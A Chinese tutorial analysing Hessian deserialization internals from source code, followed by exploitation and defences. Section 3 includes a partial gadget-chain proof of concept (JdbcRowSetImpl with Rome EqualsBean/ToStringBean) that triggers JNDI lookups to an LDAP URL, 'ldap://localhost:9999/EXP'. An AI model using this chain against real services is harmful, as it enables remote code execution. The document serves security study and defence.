从源码角度分析hessian特别的原因
字数 1784 2025-08-22 12:22:54
Hessian反序列化漏洞原理与利用分析
一、Hessian反序列化基础
1.1 Hessian简介
Hessian是一种轻量级的二进制RPC协议,由Caucho公司开发,主要用于Java应用之间的远程调用。与Java原生序列化相比,Hessian具有以下特点:
- 采用二进制格式,体积更小
- 跨语言支持
- 序列化/反序列化速度更快
- 反序列化机制与Java原生不同
1.2 基础环境搭建
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
基础测试类:
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.*;
public class Test implements Serializable {
public static void main(String[] args) throws IOException {
Person person = new Person();
person.setAge(18);
person.setName("Feng");
byte[] s = serialize(person);
System.out.println((Person)deserialize(s));
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
}
二、Hessian反序列化流程分析
2.1 反序列化入口
Hessian反序列化的核心流程从HessianInput.readObject()开始:
int tag = read();
switch (tag) {
case 'N': return null;
case 'T': return Boolean.valueOf(true);
case 'F': return Boolean.valueOf(false);
case 'I': return Integer.valueOf(parseInt());
case 'L': return Long.valueOf(parseLong());
case 'D': return Double.valueOf(parseDouble());
case 'd': return new Date(parseLong());
case 'x':
case 'X': {
_isLastChunk = tag == 'X';
_chunkLength = (read() << 8) + read();
return parseXML();
}
case 'M': {
String type = readType();
return _serializerFactory.readMap(this, type);
}
// 其他case...
}
2.2 反序列化流程详解
- 读取类型标识:根据第一个字节判断对象类型
- 处理Map类型:当tag为'M'(ASCII 77)时,进入Map处理流程
- 获取反序列化器:通过
getDeserializer(type)获取对应类型的反序列化器
public Deserializer getDeserializer(String type) throws HessianProtocolException {
if (type == null || type.equals(""))
return null;
// 检查缓存
if (_cachedTypeDeserializerMap != null) {
synchronized (_cachedTypeDeserializerMap) {
deserializer = (Deserializer)_cachedTypeDeserializerMap.get(type);
}
if (deserializer != null) return deserializer;
}
// 检查静态类型映射
deserializer = (Deserializer)_staticTypeMap.get(type);
if (deserializer != null) return deserializer;
// 处理数组类型
if (type.startsWith("[")) {
Deserializer subDeserializer = getDeserializer(type.substring(1));
if (subDeserializer != null)
deserializer = new ArrayDeserializer(subDeserializer.getType());
else
deserializer = new ArrayDeserializer(Object.class);
} else {
try {
Class cl = loadSerializedClass(type);
deserializer = getDeserializer(cl);
} catch (Exception e) {
log.warning("Hessian/Burlap: '" + type + "' is an unknown class in " +
getClassLoader() + ":\n" + e);
}
}
// 缓存反序列化器
if (deserializer != null) {
if (_cachedTypeDeserializerMap == null)
_cachedTypeDeserializerMap = new HashMap(8);
synchronized (_cachedTypeDeserializerMap) {
_cachedTypeDeserializerMap.put(type, deserializer);
}
}
return deserializer;
}
- 实例化对象:通过
instantiate()创建对象实例 - 填充字段:循环读取字段并赋值
public Object readMap(AbstractHessianInput in, Object obj) throws IOException {
try {
int ref = in.addRef(obj);
while (!in.isEnd()) {
Object key = in.readObject();
FieldDeserializer2 deser = (FieldDeserializer2)_fieldMap.get(key);
if (deser != null)
deser.deserialize(in, obj);
else
in.readObject();
}
in.readMapEnd();
Object resolve = resolve(in, obj);
if (obj != resolve)
in.setRef(ref, resolve);
return resolve;
} catch (IOException e) {
throw e;
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
- 字段赋值:使用Unsafe API直接操作内存赋值
public void deserialize(AbstractHessianInput in, Object obj) throws IOException {
String value = null;
try {
value = in.readString();
_unsafe.putObject(obj, _offset, value);
} catch (Exception e) {
logDeserializeError(_field, obj, value, e);
}
}
三、Hessian反序列化漏洞利用
3.1 典型利用链
Hessian反序列化漏洞利用通常依赖于触发对象的hashCode()方法,以下是典型利用链:
import com.caucho.hessian.io.*;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
public class Hessian_JNDI {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://localhost:9999/EXP");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = makeMap(equalsBean, "1");
byte[] s = serialize(hashMap);
deserialize(s);
}
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC = Class.forName("java.util.HashMap$Node");
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class,
Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
// 辅助方法...
}
3.2 漏洞触发原理
- HashMap反序列化:当反序列化HashMap时,会调用
putVal()方法 - 触发hashCode:
putVal()会调用key的hashCode()方法 - 利用链展开:
EqualsBean.hashCode()->EqualsBean.beanHashCode()ToStringBean.toString()- 最终触发JNDI注入或任意方法调用
3.3 关键点分析
- 非Serializable支持:Hessian默认不要求类实现Serializable接口
protected Serializer getDefaultSerializer(Class cl) {
if (_defaultSerializer != null)
return _defaultSerializer;
if (!Serializable.class.isAssignableFrom(cl) && !_isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() +
" must implement java.io.Serializable");
}
if (_isEnableUnsafeSerializer && JavaSerializer.getWriteReplace(cl) == null) {
return UnsafeSerializer.create(cl);
} else
return JavaSerializer.create(cl);
}
可通过设置允许非序列化类:
SerializerFactory serializerFactory = new SerializerFactory();
serializerFactory.setAllowNonSerializable(true);
input.setSerializerFactory(serializerFactory);
- 字段处理限制:Hessian不会序列化transient和static字段
protected HashMap<String, FieldDeserializer2> getFieldMap(Class<?> cl,
FieldDeserializer2Factory fieldFactory) {
HashMap<String, FieldDeserializer2> fieldMap = new HashMap<>();
for (; cl != null; cl = cl.getSuperclass()) {
Field[] fields = cl.getDeclaredFields();
for (int i = 0; i < fields.length; i++) {
Field field = fields[i];
if (Modifier.isTransient(field.getModifiers()) ||
Modifier.isStatic(field.getModifiers()))
continue;
// ...
}
}
return fieldMap;
}
四、Hessian与原生反序列化的区别
| 特性 | Hessian | Java原生序列化 |
|---|---|---|
| 序列化接口要求 | 可选(可配置) | 必须实现Serializable |
| transient字段处理 | 自动忽略 | 可被ObjectOutputStream覆盖 |
| static字段处理 | 自动忽略 | 不参与序列化 |
| 反序列化触发点 | 主要在put操作触发hashCode | readObject方法直接触发 |
| 利用链 | 依赖hashCode触发 | 依赖readObject或readExternal |
| 性能 | 更高 | 较低 |
五、防御措施
- 升级Hessian版本:使用最新版本修复已知漏洞
- 配置白名单:限制可反序列化的类
- 禁用危险特性:避免设置
setAllowNonSerializable(true) - 输入过滤:对反序列化数据进行校验
- 使用安全框架:如Spring Security提供防护机制
六、总结
Hessian反序列化漏洞的核心在于其独特的反序列化机制:
- 不强制要求Serializable接口,扩大了攻击面
- 通过HashMap的put操作触发hashCode,形成了独特的利用链
- 对transient和static字段的特殊处理影响了部分利用链
- 高性能设计带来的安全权衡
理解这些特性对于防御Hessian反序列化攻击至关重要,开发者应根据实际需求选择合适的安全策略。